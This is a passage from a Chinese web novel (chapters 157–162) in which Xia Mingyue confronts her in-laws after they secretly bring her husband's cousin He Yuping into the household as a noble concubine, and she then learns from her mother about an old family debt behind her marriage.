她看到有元京府衙治下的仆役在打扫街道,许多炮仗上的红纸被扫做了一堆,有几个孩童在从那些纸屑堆里翻找着什么。 一个孩子拿起一串儿用红绳编好的铜钱,伸长手臂举得高高的,兴奋地喊道:“这里还有喜钱,我拿到了,拿到了!” 第157章夏明月回府那日 大恒有习俗,喜钱都编成串儿、最下端打上同心结之后才撒出去的,那孩子手中此刻正拿着这样一串喜钱,几个孩子笑着闹着跑过来,要一起拿着买糖吃。 电光石火之间,夏明月一下子明白了过来,因为每家打同心结的方式都不大一样,这串喜钱上的同心结从材质到手法都跟那日她嫁进来时撒的一模一样。 是何雨萍!一定是的,他们居然趁着她去赴宴,把何雨萍抬了进来,还如此地声势浩大! 要知道贵妾进门虽不像良妾、贱妾那般低调,但也只能走侧门,可以有喜轿、有绯红色的婚服,却不许吹吹打打、大张旗鼓地沿街撒喜钱。 眼前正在收拾的路面说明了很多问题,首先人是从正门进去的,因为通往侧门的路上几乎没有炮仗遗留下来的纸屑。 夏明月怒了,待车夫将马车停在正门,没等门房小厮把脚凳搬来,她就自己跳下了马车。 “那是端侯府的世子夫人吧?她刚刚不在?诶呀我的老天爷啊,这造的什么孽?” “这算不算停妻再娶?这世子夫人好像是尚书府的千金吧?还生得这般好模样,命怎么这么苦!” “苦什么?幼时定下的婚约好多后来都不作数的,刚进门的这位不是侯夫人的侄女么?说不定早就把婚约定下了,结果这前头不作数了的又找过来。” “啊,我好像也听说过一些,之前要嫁过来的是夏家大姑娘,就是如今的钩翊侯夫人!怎么就换人了呢?” “唉,你们这样想,钩翊侯夫人是在卢阳长大的,虽说咱们婚仪那日都见过了,是个天仙似的善心人儿,可隔着那么远,这端侯府能知道她是什么样的人吗?” “你是说,端侯府可能因为这个解除了婚约,中间定下了侯夫人的侄女,结果这夏二姑娘非要嫁过来……然后事情就成这样了?” 围观的不止有百姓,还有跟周围的高门大户打交道的客人、铺子里的管事儿,一时间周围像炸了锅一样。 大家都在说没准儿真是这么回事儿,先不入何夫人有没有看上夏明嫣,就说明明跟李玦青梅竹马的是夏明月,夏家一开始却要把夏明嫣嫁过来。 这在何夫人和李玦眼中,难道就不算是羞辱吗? 这种情况下曾经退婚,因为婚期临近,又在亲戚家的姑娘里定下别的人选救场,不也很正常吗? 夏明月越听越气,拎起裙角就噔噔地朝着这些人走去,整个人都杀气腾腾的,可是那些人并没有住口。 “快别说了,这都是过去的事了,毕竟人家世子夫人先过的门儿是正妻,这是事实。” “就是的,也许之前都是家里长辈安排的,后来人家不还是嫁过来了吗?” “切,你们又知道?她要是真记挂着跟世子爷之间的情分,为什么长姐跟世子定亲的时候不来闹,还眼巴巴地这时候来闹人家何姑娘?” 偏偏李玦跟夏明嫣定亲的时候,夏明嫣还没回到元京,这时候夏明月那边也一点动静都没有,完全不像打算跟父母之命抗争的样子。 要是她那时候就能有现在这副要跟人拼命的架势,谁也说不出什么,可是从前夏明月连登端侯府门儿的时候都少。 夏明月跟李玦之间的事儿为何知道的人这么多,就是因为他们两个自来高调,大恒民风开放,两家又是故交还定了亲事,那时他们常在坊市的茶楼、瓦肆等处玩乐。 何夫人从前便不大满意夏明月的张扬,见面总要规劝几句,以致于日子久了,夏明月就不愿意去了。 比起夏明月这样关系疏远、不知驯服的儿媳妇,何雨萍这样干练而有血脉关系的亲侄女当然更加是世子夫人的合适人选。 走这几步路的功夫,夏明月已经被气得头昏脑涨,她顾不得别的,上去就一巴掌打在说最后这话的妇人脸上。 “哪儿来的恶毒泼妇,居然这样说我的是非?我与世子爷青梅竹马,两家有婚约在前,有什么见不得人的?再敢乱说,一顿乱棍打死!” 那妇人也不是好脾气的,敢这样议论的都有点靠山,人群里立刻就有人议论了,说这妇人的妹子是太子谢维的奶娘。 夏明月也不是傻的,很快就明白这当中利害,别看这妇人看起来只是一个普通富户人家的娘子,可是人家去找妹子哭一鼻子,回头再到太子面前说什么,可够她吃不了兜着走的。 何况她之后还真有用得着谢维的地方,她可没忘,前世那个唯唯诺诺的华青青可是谢维的原配正妃! 当下她不好发作这妇人,又不愿意道歉找个台阶下,她向后退了几步,哭了起来: “都是在这附近住着的邻里,我好歹是这府里的世子夫人,你们见到那贱人逾越礼制进门,不知道阻拦,还在这儿看热闹。” “你们就算不劝阻,也该让人去告知我一声,今日我去长姐和姐夫府上赴宴,谁不知道?你们就不能帮我看顾一些么?” 夏明月的眼泪呜呜地往外冒,她能讨得楚氏和夏庸的欢心,能够成为夏家实际上唯一的千金,不得不说是有点本事的。 她这一哭,不仅梨花带雨,当中还透着几分没有心机的单纯,看起来她就是个急性子,刚刚就是因为贵妾瞒着她进门,一时间激怒攻心才冲动之下打了人。 巧兰这时候也赶了上来,赶忙去安抚那妇人:“这不是纪大娘子么?奴婢之前去您家里的铺子买脂粉,咱们是见过的。” “打疼了吧?奴婢这就带您去看郎中,汤药银子我们出。您就体谅体谅,我们夫人这是被气着了。我们夫人不是那等拈酸吃醋的人,好好地跟她说,她哪里会拦着。” “这不是事儿赶事儿的就急了吗?您大人有大量,别跟我们夫人计较了,我们夫人平时可好了!” 巧兰特意拔高了声音,这是为夏明月正名呢,要不这样说一说,不用等明日,夏明月和夏家的名声就得臭了! 巧兰说这些话的时候只觉得自己这双眼睛不够用了,一会儿要用来哀求纪大娘子,一会儿要用来给夏明月使眼色,求求她一定要示弱。 第158章大闹端侯府 夏明月的脑子终于灵光了一回,她的目光迅速扫视过在场议论纷纷的众人,这些人都不足为惧,等她成了端侯府人,他们都得仰她鼻息! 没道理在这儿跟他们纠缠,她要闹,也该回去跟何夫人那个老货和何雨萍那个贱人闹! 这些个人就是挨看热闹的,可以帮着那两个贱人,也可以帮着她,她得好好利用才行。 夏明月下一刻整个倒在了迎出来的侍女怀里,哭得好不可怜: “今日我去赴长姐家宴,才出门大半日,有人就把何家表妹接了进来。我父亲也是有妾室的,我母亲没有容不下,我是夏家嫡次女,自幼受母亲养育、教导,不是那等容不下人的。” “我早就应承了何家表妹进门,谁知道他们偷偷摸摸地弄出这么一桩事,这是把我当什么人了?我不活了,不活了……” 夏明月暗暗拧了扶着她的那个侍女一把,示意她们一起往府里挪。那侍女也是个机灵的,立刻就叫嚷着“夫人您怎么了”把她扶了回去。 巧兰对着纪大娘子行了个礼,拔高了声音道:“世子夫人从未有过不容人的想法,府中主母和世子定是受了别人的鼓动才会误会。” “夏家与端侯府的婚约从来都没有废止过,我们夫人的长姐本就是要许嫁华家的,不然华家怎会不恼,怎会这么快就让她掌管华侯的内院?纪大娘子和诸位莫要以讹传讹。” 说完,巧兰又匆忙地对着纪大娘子告罪,“对不住,纪大娘子,改日奴婢再去代世子夫人登门致歉。” 巧兰转身进府,招呼着门口的小厮将大门关上,她转身去找夏明月的时候,发现夏明月已经跑回内院去了。 夏明月一进府内,抹了两把眼泪就又恢复了生龙活虎的样子,她大步流星地朝着何夫人所在的院子走去。 路上经过后院的戏台,周围空地上至少摆过十桌,上面还摆着未吃完的吃食,几个小厮正在收拾。 夏明月两进钩翊侯府,中间还回了一趟夏家,等再回来已经快到了用晚饭的时候。这些人是趁着赏花宴开席,她一定走不开的时候一直热闹到现在的。 夏明月越走越气,前头的下人收到风声,路上开始有人拦她,她陪嫁过来的侍女、仆妇、小厮也渐渐赶了过来,帮着她阻止这些人。 这些人肚子里也都是火儿,何雨萍进门的时候,大门那边一热闹起来,他们很快就知道了。 这时候他们是最尴尬的,想到夏明月的脾气,大伙儿都觉着多少应该去帮着拦一拦的,谁知道他们集结起来从院儿里往外走,却发现她们院儿的门被从外面上了锁还加了道门栓。 这些人早上夏明月一出门的时候已经得到了楚氏的授意,让他们闹一闹,但不要真闹,没想到竟然会被如此对待。 这些人现在也是一肚子火儿,人都进门了,再不闹,以后还不欺负死他们! 这些人甚至拿上了门栓和烧火棍,一路帮着夏明月打将上去,这端侯府因为没了正经侯爷,之前训练有素的护卫早就散了,现在留在府里的武艺不过是富户家丁水平的。 这些人跟夏明月的这些陪房半斤八两,甚至这些陪房在气势和体力上更胜一筹,夏明月一路过去,风风火火的,好不威风! 她甚至渐渐走出了气势,走出了胆气! “砸门!砸不开,就给我撞开!” 夏明月穿过一众屋宇,终于站到何夫人院子的门前,大门紧闭,她非常有气势地吩咐道。 后面跟着的小厮直接抬了张八仙桌侧过来来就要往门上撞,谁知就在这一瞬院门从里面被猛得打开, 里面开门的人就退了开去,撞门的两个小厮噗通噗通两声摔进门去。 何夫人身边的老嬷嬷微微皱眉道:“世子夫人,夫人正在跟李姑母说话,刚刚说了,要是世子夫人来了,就请进去。” “进去就进去,理亏的又不是我!”夏明月横了老嬷嬷一眼,踢踢打打地进去了。 尽管这些个跟她过来的下人都被挡在了院门外,夏明月还是很豪气地走了进去,进了屋中,敷衍地对着何夫人和李姑母行了个礼: “母亲,姑母,你们这是什么意思?我出门赴个宴的工夫,你们就抬了个贵妾进门,偷偷摸摸地跟做贼似的,你们也不嫌弃丢人。” “你们这样的做派,也敢说自己是侯府人家?连那市井泼皮都比不得,市井泼皮找个姘头,正室知道了,都不敢不哄着、补偿着。” “你们倒好,瞒地我好苦。好啊,你们把我当傻子,明日别想让我吃她那盏妾室茶,我看她还怎么在府中当这个贵妾?” 贵妾比起其他妾室在外面是一定的行走机会的,各府的大宴自是不能去的,可是小宴却是可以的。 要是何雨萍得不到她的承认,将来休想在元京城里行走。何雨萍前世可是一直操持着何家的生意的,没她这个主母认可,看他们何家的日子还怎么过。 夏明月自以为拿捏住了何夫人和李姑母,瞪着眼看着这两个恬不知耻的老货。 何夫人没开口,李姑母站了起来,一点气虚胆怯的意思都没有: “呦,这不是咱们的世子夫人么?怎么这么大的火气?看来在华侯夫人的宴会没吃着好果子,一个连亲姐姐都相处不好的人,你承不承认雨萍,很重要么?” 见夏明月张嘴要还口,李姑母气势汹汹、理直气壮地堵了她,“你钩翊侯府欺负我家鱼凤,我还没跟你算账呢,你倒先来找不痛快!” 为陈丽莹作证说着自己没被烫伤的白玉凤就是李姑母的女儿,白玉凤比夏明月先回的府,早就跟栗羡鱼一起添油加醋地把筵席上发生的事儿劝说了。 而且她们还透露了夏明嫣要跟他们合作的意思,虽说李姑母和何姨母还没来得及回去跟各自家里的人商量,可是夏明嫣既然这么说了,就说明她没有站在夏明月这边。 夏明月背后现在还有谁呢? 夏庸,一向不管内宅之事。楚氏,这回的事儿也没由着她闹小孩子脾气,那就剩下楚家了? 第159章要她做妻?都疯了吧 先不说楚霆孝最近不在元京,只有两个儿子,就算他们都在,他们各自都有妾室,谁家没有这些个烦心事儿,他们才不会管外孙女、外甥女屋儿里的事儿。 更别说夏明月到底是女子,男子坐享齐人之福,对着女子,即便是至亲之人,大多也只会劝她贤良大度。 夏明月冷笑两声,目光挑剔地上下打量李姑母:“姑母,好听点说,你是亲戚家的长辈,说难听点出嫁女就算要守寡也未必能留在家里,你要是有意见,不如我帮你打点一番,找家道观守寡去!” “你还要为你那个好女儿出头,你们住在这端侯府里,你的好女儿却不知道为我说话,就知道胳膊肘往外拐,还有理了?” “就是有理了,怎么着?” 李姑母脾气上来了,插着腰地跟夏明月吵,她跟何姨母同样是寡妇守家,可是两个人的性子大不相同。 何姨母更加沉稳,很多话都藏在心里头,李姑母可不是这样,她有什么说什么,她是真正的李家人,外嫁了也姓李, “啊,你是非颠倒,对多年闺中密友不念旧情、嫌贫爱富,还不让我女儿说几句公道话了?就你做的这些事儿,就该把你休回夏家去。” “瞪我干什么?还想让我去庙里守寡,呵,侄儿媳妇,我能回端侯府守寡,可不是仗着这张老脸。当年我婚嫁,嫁的夫君是对李家有利之人,这婚事千难万难我也不得不嫁过去。” “这才年纪轻轻就守了寡,我出嫁之时父兄皆许诺为若是和离或寡居,都可回家来。你定是不知道这些的,也难怪,这一大家子都是从最难的时候一起相护、相守着走过来的,你刚嫁进来不了解也正常。” “你在这儿跟我大小声,不如想想为什么我们要瞒着你,还不是因为你这性子,会让雨萍受委屈?没错,你们夏家是能帮上我们世子,可是难道何家就帮不上了?让亲戚家的姑娘受委屈,你也觉得好看。” 李姑母说完就坐了回去,留下夏明月一脸地震惊,她有些心虚地道: “好,好,就我一个是外人了,你们都有理。你们既然这么帮着你们的侄女、外甥女,为何不跟我们夏家退亲,为何还要娶我?” 李姑母上上下下地打量着夏明月,忽然溢出一声冷笑: “你自小跟我这个侄儿走得近,任谁都以为要与他定亲的人是你,谁知到了了,把你长姐定了过来。一个卢阳长大的小丫头,不知元京人情世故、学问礼仪,我们不该悔婚吗?” “当初要不是你们夏家先来谈了换亲,我们也要去废了那婚约的。当然,这件事如今看来,我们有欠考虑,你长姐是个大度、明理的闺秀,是我们错看了她。” “可是谁脑袋后面也没长着后眼啊,那时候我们定了别人也是情有可原的。这要是按先来后到算,你们不厚道在先,我们先提出废止婚约并定下新妇在后,你们再提换亲时,我们李家已经有了新妇,你还要嫁过来,就该做妾室才对。” 夏明月万万没想到中间还有这一层,上一世夏明嫣嫁过来的时候就是贵妾,她以为都是她跟楚氏处置有方,让谣言污了夏明嫣的出身和名声,才导致她贬妻为妾的。 可是按李姑母说的,是因为一开始定下婚事的是夏明嫣,李家以为她是卢阳长大的乡野丫头,觉得自家被夏家轻视、戏弄了,就算没有那些谣言,也是要换一位正妻上来的。 这么说来,在夏明嫣回来之后,在她们换亲之前,这中间她们给李玦定了另一门亲。 这个人……就是何雨萍? 何雨萍差点儿就成了李玦的正妻,所以在何夫人和李姑母、何姨母面前,她夏明月才是妾室? 夏明月声音都在打颤:“你们……好大的胆子,你们端侯府爵位虚悬,我们夏家好歹是尚书府门第,要解除婚约也得我们先提,再不济也得两家商量了再说。” “你们提都没提,就重新定下新妇人选,你们……律法、风俗都不容于世!你们就不怕坏了阿玦哥哥的前程?再说了,何家手底下的那些人,就能做些见不得人的烂事儿,能帮阿玦哥哥袭爵吗?” “你们让她顶替我们夏家女做正室,她也配?你们都疯了吗?现在你们瞒着我抬她进来做贵妾,就是担心我知道她差一点就坐了我的位子,怕我拦着不让她进门。” “这么着急,就是因为你们之前已经私下定下了她做正妻,后来我们换亲了,我又来了,她只能退而求其次。她现在做了妾了,你们觉得对不起她?太荒谬了,你们都疯了!” 夏明月大笑出声,连带着眼泪都笑了出来,然而这一次她笑出泪来并不完全是觉得这件事荒谬、好笑,而是有了一层深深的怀疑。 中间的这些事儿,夏明嫣前世知道吗? 夏明嫣那时被谣言打压,沈小娘死物对证,杨舅父突然远游,她外公早年就过世了,杨家再无人为她解释……她连走路都低着头。 夏明嫣那会儿应该已经反应过来那些谣言都是她们母女一手炮制的了,可是她被端侯府的事儿折腾得筋疲力尽。 虽说夏家一共也没帮过夏明嫣多少,但是好歹有一个身份和表面情分可以依托,她那时候只是不敢追究从前那些事而已。 一旦追究了,她没了最后一点依靠,端侯府的这些人会彻底撕碎了她…… 夏明嫣那时每次回娘家都是沉默寡言、郁郁不乐的,只是笼统地说在端侯府过得不好,跟亲戚和婆母之间不是很和睦,别的再没说过。 也不知道夏明嫣知不知道这些,还有是什么时候知道的。 不过夏明月很快就否定了这个想法,上一世何雨萍是一年后才进门的,夏明嫣又不像她一样有这个胆子和必要来质问这些人,恐怕根本就不知道这件事吧? 气死她了,夏明嫣那个蠢货居然也被这些个人欺瞒了! 夏明月因为自己被骗,头一次想跟夏明嫣同仇敌忾,只是……不对,还有哪里不对…… 第160章她要重办迎妾礼 夏明月脑子转了又转,终于明白是哪里不对了,她们彼此之间的位子不对。 就算端侯府再不满夏明嫣,给李玦定了另一门亲事,之后担心何家闹起来,不得不尽快接何雨萍进门……她们也该好好地跟她说,甚至央求她才对。 眼前的她们却是那般有恃无恐,吃准了她必须接受似的,而且之前担心她会闹,也不过是担心不好看,怕影响了李玦和端侯府的形象,而不是怕她事后追究。 李姑母半点理亏的感觉都没有:“论家世,雨萍是不如你,可论亲长认可,她半点都不输你。论人才人品,她十三岁就掌管了何家中馈,何家上下没有不服她的。” “就是管着外面的那些事儿,铺子里的掌柜也都服她,她说话做事更是不卑不亢、麻利干练。再看看你,也不知道楚夫人是怎么养的你,把你养得娇蛮任性、爱掐尖儿出头,成天地不敬长辈。” “我们是看在楚相和你父亲的面子上才容得你在这儿耀武扬威,要不然早把你休回夏家去了。” 依照大恒律例,不仅丈夫可以休妻,就是婆母也可以休掉儿媳,只要到府衙报备前让儿子按了手印就行。 夏明月这个时候完全没办法从夏明嫣前世的所作所为里寻找经验,因为她知道,夏明嫣觉得不会也没那胆子跟李姑母大吵一架。 她进来之前就已经被这一大家子的先斩后奏气迷糊了,直到现在她才意识到,从她进来那一刻开始,她的婆母何夫人一直一言不发地坐在那儿冷眼看着她。 她绝望地大喊大叫起来:“我和夏家、楚家能帮阿玦哥哥袭爵,她何氏可以吗?你们用人朝前,不用人朝后,你们……过分。” “要是阿玦哥哥袭了爵,你们也都会跟着好起来,整个端侯府都会跟着好起来,她能帮你们的只是一点小利,你们凭什么这么对我?” “今日她走了正门,是不是?你们这叫停妻再娶,传出去,阿玦哥哥还能袭爵吗?你们是在害她,也是在害我。你们害我当不上侯夫人,我跟你们没完!” 夏明月已经变得歇斯底里、失去理智了,何夫人依旧一言不发,李姑母冷笑连连: “端侯府的爵位虚悬,这府里没有什么侯爷,就是侄儿这个世子也是名不正言不顺的,谁去追究他停妻再娶?何家大哥救过这侯府里每个人的命,那场大火,要不是他帮忙救人,哪儿还有你的阿玦哥哥?” “再说了,真要有人追究,不还有你和楚、夏两家吗?你不是爱他爱得人尽皆知么?还连华侯都不要,也不要嫁过来,你可得给他兜住了。” 这话何其嘲讽,虽然元京城里的人很多都知道他们青梅竹马、情真意切,可是根据夏家换亲的时间推断,也有很多人觉得她就是提前得到了华靖离遇刺重伤的消息,才与李玦再续前缘的。 而且李姑母说得对,夏明月闹得再凶,也只敢在端侯府和夏家闹一闹。 真要到元京府衙告状,她绝对不会。就是有人把李玦告了,她也得说是为了感谢何大舅从前对自己夫家的救命之恩,才特意安排的,她才不会去作证呢。 为什么?因为这些人都吃准了她钟情于李玦,吃准了她会不忍心毁了他! 况且李玦如今连个正经的差事都没有,手里没有半点实权,谁参他一本都拿不到好处,谁会为了这点后宅的事儿去参他? 要是真有这样没事儿找事儿的人,也多半跟夏明月有关,就算没关系,他们也可以说是她吃醋所致,全赖在她头上,之后再推给夏、楚两家善后。 更要紧的是,夏明月发现她对里觉得了解并不像她以为的那样多,她竟然不知道李玦和端侯府曾经遭遇过那样一场大火,更不知道何大舅救过这一大家子。 相比起年少时的陪伴和相知相许,这样的生死与共、救命大恩要更加真实、可靠许多,可是她没有。 她不知道的是,这种感觉夏明嫣体悟了半辈子,因为没有那样的经历,怎么都融入不进这一大家子。 其实仔细想想也能明白,寡妇守业本就不易,何况以端侯府的情况来说,明眼人心里都清楚老端侯八成是犯了什么不能明言的大罪了。 这种情况下,会有更多的人来欺辱他们,还有人以为端侯府定然藏匿了老端侯生前留下的不义之财,府邸守备欠缺,他们便起了歹心来袭掠…… 端侯府这一大家子,包括何姨母和李姑母这两大家子,他们在过去最艰难的时候,已经打下了牢固而坚实的基础……她跟李玦的感情再深,也逾越不了这一点。 夏明月脸色苍白,气得手都在抖:“你们就是吃准了我舍不得阿玦哥哥,我都舍不得他了,怎么能为了不嫁他而嫁华侯?” “你们污我清誉,还想让我跟阿玦哥哥失和,你们好歹毒!可说到底,你们还要依靠我和我娘家、外祖父家让阿玦哥哥袭爵,难道你们想要功亏一篑?” “为了阿玦哥哥,何氏进门我认了,我也可以吃她那盏妾室茶,可是她要重新进一回门儿,从侧门进,不能吹吹打打、不许放鞭炮,宾客按我说的请!” 夏明月要是想把何雨萍直接赶出去,这些人不会答应,就是楚氏都要说她因小失大、不懂事。 夏明月已经决定留下何雨萍之后再慢慢收拾了了事,只是她不能在元京丢了面子,她要依照迎妾之礼重新让何雨萍进一次门,让她请来的宾客都看看。 李姑母把桌子拍得直响,冷笑着学她的样子:“阿玦哥哥,阿玦哥哥,别一口一个地叫,你都多大了,成了亲的人了。还说别人没规矩,我看你就是个没规矩的。” “还要再办一次迎妾礼,还要找人观礼?吃饱了撑的没事儿赶,你以为整个元京都是你家的?还是别人跟你一样闲,你才把人家当猴耍?” 第161章不服?回去问你母亲 夏明月忍无可忍,直接哭了起来,只是她哭的时候依然很凶横: “你们胡搅蛮缠,你们欺负我夏家无人,我要回去,告诉我父亲、母亲!” 为了让人相信她真的会这么做,她转身就要离开这座屋子,她在等着李姑母或是何夫人叫住她。 一直默然而坐的何夫人终于有了动静,只是她一点也不着急,根本没有起身的意思,甚至还冷哼了一声才道: “你要回去便回去吧,看看你母亲理不理你。你刚刚不是回去过一趟了么?是你母亲告诉你雨萍今日进门的么?” 今日自从夏明月出门赴宴开始,府里就派了人一直盯着她,知道她回过夏府,之后还又去了一趟钩翊侯府。 夏明月再回钩翊侯府时没有什么特别的反应,一看就知道那会儿还不知道何雨萍已经进门了,可见楚氏什么都没告诉她。 夏明月其实也挺可怜的,无论是母亲还是嫡姐,都瞒着她。 可是在何夫人眼里没有一点同情,只有嘲讽:“我知道你想说什么,说我们端侯府连个正经侯爷都没有,敢如此欺辱你,欺辱夏家、楚家,究竟倚仗了什么?” “你们这些小辈儿啊,年纪轻,经历浅,家里又把你们护得太好,过去那些个事儿都不让你们知道,结果就让你们以为你们自己都是可以摊在日头底下晒的。” “你祖父当年为何会定下这门亲事?你祖父不在了,要不你就回去问问你父亲、母亲,再不行问问你祖母,问问他们你们夏、楚两家现在还能风风光光的是靠了谁?” “到底谁欠谁的?你好好问问他们,看看他们是不是就该让我儿袭爵。别说现在就只是让你接纳一个贵妾,就是给我儿再娶个平妻,你也得受着!” 别看李姑母你来我往地说了那么多,何夫人就只说了这么几句,这几句就足够将夏明月钉死了。 夏明月刚刚就怀疑过这李家怎么就这么有恃无恐,难道他们握着家里什么把柄,这样的猜想在何夫人这儿得到了验证。 这种事不知道的时候是一回事,一旦知道了还当面问起,她又已经出嫁了,是大人了,夏庸和楚氏便不会瞒她。 即便不方便跟她说得太细,也会说出点儿事儿来。若是何夫人说谎,她只要再回去一趟,就能轻易戳破。 夏明月转过头去,目光中充满了震惊……是夏、楚两家欠了端侯府的?或者说是她祖父欠了老端侯的? 夏明月毕竟是尚书千金、楚相外孙女,并不是什么都不懂的,她的脸色青一阵儿白一阵儿的,最终什么也没说就走了。 她没有直接回夏府,而是先回了一趟她和李玦共同的院子,何雨萍的院子要跟他们紧挨着,门口站着腰间系着红带子的小厮和侍女,看到她都紧张地看过来。 这会儿已经到了要洞房的时辰了,显然李玦在里面,她回来之后动静闹得很大,从这些小厮、侍女的眼神中可以看出,他们都知道她回来大闹了一场。 想必他们已经告诉李玦了,只是李玦这一次又没有出面,那么他知道两家之间的恩怨吗? 夏明月忽然觉得自己变得很无力,她连夜回了夏家,又去见了楚氏。 楚氏看着夏明月这副霜打了茄子的样子,叹了口气道:“不就是纳个妾么?至于生这么大的气,就是怕你冲动之下搅了这间,又让你婆母不快,才瞒着你的。” 夏明月没说话,沉默地站了一会儿,才开了口:“母亲,您跟父亲对端侯府如此忍让,舅父一听我说要帮阿玦哥哥参加御青书院的擢选就答应帮忙,不止是为了让我过得好吧?” “你……你这孩子,说什么胡话呢?乔嬷嬷,去把燕窝端来,给二姑娘用了,她这一天也够受了。” 楚氏打着马虎眼,显然想就这么糊弄过去,这种事儿要是都说出来,恐怕夏明月承担不起。 夏明月这个直性子,不想再被糊弄过去,她态度强硬地道:“母亲就别瞒着我了,是我那婆母让我来问您的。她没说别的,只说你们和父亲还有外祖如此忍让他们。” “还有祖父之所以会应下这门亲事,就是因为你们都欠他们李家的,她说的是不是真的?咱们到底欠了他们什么?这些事,夏明嫣知不知道?” 楚氏愣住了,她原以为只是夏明月自己猜到了什么,没想到何夫人会如此有恃无恐,居然会几乎把事情挑明了。 不过只是一瞬,她也明白过来,何夫人这么做也不是完全错了的,倒是她因为太把夏明月当作亲生女儿呵护着了,反而一叶障目。 就算夏明月是她的亲生女儿,就算夏明月是夏、楚两家的掌上明珠,她也已经嫁人了,是个大人了。 何况又是嫁到了端侯府,她要是一点儿都不知道,那才危险呢,她这个女儿也是时候长大了。 “月儿,过来坐。” 待夏明月坐了过去,楚氏让乔嬷嬷到外面守着,才道,“夏明嫣当然不知道,这种事儿不能轻易告诉她,你……我们也不能轻易说。” “只是不让她知道是担心她会利用这些事做出对家里不利的事儿,对你,是担心你冲动,别再做些什么,反而对你不好。” “这件事说来话长,有些细节我也不清楚。左右是朝堂上的那些事,我们两家的确欠了他们家的,也有把柄在他们手上,所以这些事儿只要不是全然接受不了的,也就都忍了。” “母亲,那你们就把我嫁过去,把我变成牺牲品吗?”夏明月觉得自己就是被祖父和她的父母拿去偿债的。 饶是楚氏真心疼夏明月,这会儿也要受不了了,她忍不住头疼地道: “月儿,是你死活都要嫁给李玦的,是你硬是要跟夏明嫣还亲的,你都不记得了吗?当初我和你父亲就想让你嫁给华侯,这里面有很多的考虑。” “华家是武勋人家,跟文官的家族比,是粗鄙了些,女眷也多是些上不得台面的,可是他们家底厚,日子其实过得极好。” “家里那些勾勾绕绕的一般的高门千金或许一时接受不了,不喜欢,可其实没有那么复杂,也就是盼着自家儿子多子多孙,想着给儿子院儿里多塞几个女人,再让你敬着家里的长辈一些。” “可是谁家的婆母不是这么想的?谁家的弯弯绕绕就少了?偏偏你不愿意。” 第162章当年婚事的用意 楚氏叹了口气,“你改主意的时候,华侯还没遇刺呢,也不知道你中了什么邪。我本来是要拦着你的,可你那阵子总说自己噩梦连连,说嫁到华家去那些个人都要害死你,我心里也犯了嘀咕,这才谋划了那一桩事儿。” “但是说实话,那时候我心里还是不想依了你的,我盼着夏明嫣能反抗,可是她居然没有,我就只能顺水推舟去两家给你们把婚事换了。” “后来不到一日,华侯遇刺的消息传来,我才就此作罢了,总不能逼着你去嫁一个毁了容貌、重伤在身,你还满心抵触的人。” “可是平心而论,就算华侯一辈子都像你说的那样了,他也比李玦强。我不是说李玦这个人不好,只是他的家族……他背负不起。” 可是谁让夏明月自己喜欢呢? 没错,夏明月之前的确一度答应过嫁给华靖离,可那是被权势、富贵迷了眼了。 华靖离那样的男子,满心满意都是家国信义,他心里重大的事儿多了,留给儿女私情的地方就少了,想让他像李玦那样儿女私情、花前月下,那是不可能的。 人被迷了眼,回头洗一洗或是让人吹一吹就好了,是不可能长久的。夏明月即便真嫁给了华靖离,用不了多久她还是会想着李玦的。 因此夏明月要换嫁,楚氏纵使不完全认同,最终也点头了。 她想的是,在这高门之中,真情何其可贵,她没有得到的,说不定夏明月就得到了呢? 而且李玦毕竟是个小辈,他不是像华靖离那样能靠自己建功立业的人,他们这些做长辈的多护着些,什么都替他做了,兴许他们小夫妻两个就能不去碰过去的那些事儿了呢? 可是没想到,这才嫁过去多久,这件事儿就被摊开了。 夏明月心里还抱着一丝希望:“这两桩婚事都是祖父定下,定下端侯府是为了旧事,是联姻,那钩翊侯府呢?我记得当初定亲的时候,他们府上也不是很好……” 那时候正是华叶峰的几位长兄战死,华家乱作一团,原本负责屯垦、守家的华家小儿子华叶峰临危受命成为新任钩翊侯,那时候谁都以为华家的荣光不会持续下去了。 夏明月想着,这两门亲事是不是都有所图,这样想她心里能舒坦些。 因为无论是从长幼还是从性子、际遇,她本就是应该嫁给李玦的,那么,凭什么让夏明嫣得到一段无所图的姻缘? 楚氏在这件事儿上倒是不打算骗她,直白地道:“也不能说不是因为这个,可也不能说就是因为这个。华家是你祖父给夏明嫣定下的,因为合适。” “夏明嫣是杨家的外孙女,这蛊医本就让人忌讳,高门大户里轻易不敢娶这样的儿媳妇。华家行伍人家,之前刚好你祖父对华侯的祖父有些恩惠,就问了几句,人家说不介意。” “而且那时候华家都成那样了,如今的老侯爷又是刚从老家出来的,他要是不能建功立业,守不住华家的荣光,他就得带着华家人退回老家祖地去。” “那样的话就能把夏明嫣嫁过去,她那样的出身,不要元京走动,其实对她好。你祖父也是怜惜她自幼没了亲娘,当初也算是夏家对不起他们杨家,给她安排一个稳妥的将来。” 其实华叶峰从头到尾都不能说在朝堂和元京立住了,所有人都以为华家会离开朝堂,举家回到驻守之地或是老家,蛰伏几代,以待来日。 谁都没有想到华叶峰自己不是这块儿料,会有一个如此年轻有为、少年建功立业的儿子华靖离。 如果华家离开元京,这门亲事还真挺适合夏明嫣的,日子过得殷实,婆家人门第观念没那么强,行伍之家看待医者能救命才是最要紧的,才不管是蛊医还什么医……这婚事真挺好。 夏老太爷如此为夏明嫣打算,也是因为当初夏家微末之时受杨家恩惠、扶持才有了后来,可是夏庸做了官又进了元京之后,又觉着杨氏的出身与夏家不合适了,甚至给夏家造成了防害,这些事儿对杨氏后来郁郁而终的确是有影响的,因此对不起杨家和夏明嫣。 所以他才如此为夏明嫣打算,趁着华家势微,给她定下了这门亲事。 当初之所以没在一开始就定下确定的人选,那是因为夏明嫣很小就被送回卢阳了,万一在那边遇上合适的人家了,跟华家的这桩婚事还能给夏明月或是万一楚氏后面又生了别的女儿呢? 就算这两者都不行,夏家二房那边也是女儿的,也可以顶上来,这才留了一个活扣儿。 夏明月脸色发白,她从来没想过祖父竟然如此为夏明嫣着想: “你们既然都知道端侯府有那么多的事儿,为什么小时候我跟阿玦哥哥走得近的时候不拦着?你们分明就是看着我这么做的,你们就是想让我去联姻。” “还不是你自己喜欢,谁没拦过你?就是你现在的婆母,不也让你有分寸,不要在外面招摇吗?” 楚氏叹了口气,“你要怪就怪我,我这辈子没能肆意妄为,总想着让你好过些。不过事已至此,现在不是计较这些的时候。” “你只要记得,现在无论做什么,都得让你的夫君好。他好了,你才能好。只要他顺顺利利地袭了爵,之后再谋个差事,他们家里的心愿了了,事情就过去了。” “你放心,无论是我,还是你父亲、外祖父和你两个舅舅,都会帮着你们的。你公公过世已经很多年了,圣上一直没有下旨夺爵,这件事儿是有指望的。” 